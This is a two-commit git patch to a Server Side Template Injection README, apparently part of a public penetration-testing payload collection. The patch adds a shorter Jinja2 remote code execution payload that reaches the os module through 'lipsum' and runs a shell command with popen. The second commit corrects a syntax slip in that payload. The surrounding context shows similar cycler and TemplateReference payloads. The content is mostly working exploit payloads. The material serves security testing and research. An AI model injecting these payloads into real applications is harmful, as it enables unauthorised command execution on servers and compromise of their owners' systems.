From 9c2b0402424e8a036496de6476225292d483f7e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?R=C3=A9mi=20GASCOU=20=28Podalirius=29?= Date: Tue, 9 May 2023 18:34:35 +0200 Subject: [PATCH 1/2] Adding Jinja2 RCE through lipsum in Templates --- Server Side Template Injection/README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 5c9fe14..3c0324e 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -563,7 +563,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} ``` -We can use these shorter payloads (this is the shorter payloads known yet): +We can use these shorter payloads: ```python {{ cycler.__init__.__globals__.os.popen('id').read() }} @@ -573,6 +573,14 @@ We can use these shorter payloads (this is the shorter payloads known yet): Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ +With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: + +```python +{{ lipsum.__globals__.["os"].popen('id').read() }} +``` + +Source: https://twitter.com/podalirius_/status/1655970628648697860 + #### Exploit the SSTI by calling subprocess.Popen :warning: the number 396 will vary depending of the application. From b3f98adf0cd7f625382a84e4e32830808e6dc838 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?R=C3=A9mi=20GASCOU=20=28Podalirius=29?= Date: Tue, 9 May 2023 20:15:02 +0200 Subject: [PATCH 2/2] SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"] --- Server Side Template Injection/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 3c0324e..fa54fd3 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/ With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: ```python -{{ lipsum.__globals__.["os"].popen('id').read() }} +{{ lipsum.__globals__["os"].popen('id').read() }} ``` Source: https://twitter.com/podalirius_/status/1655970628648697860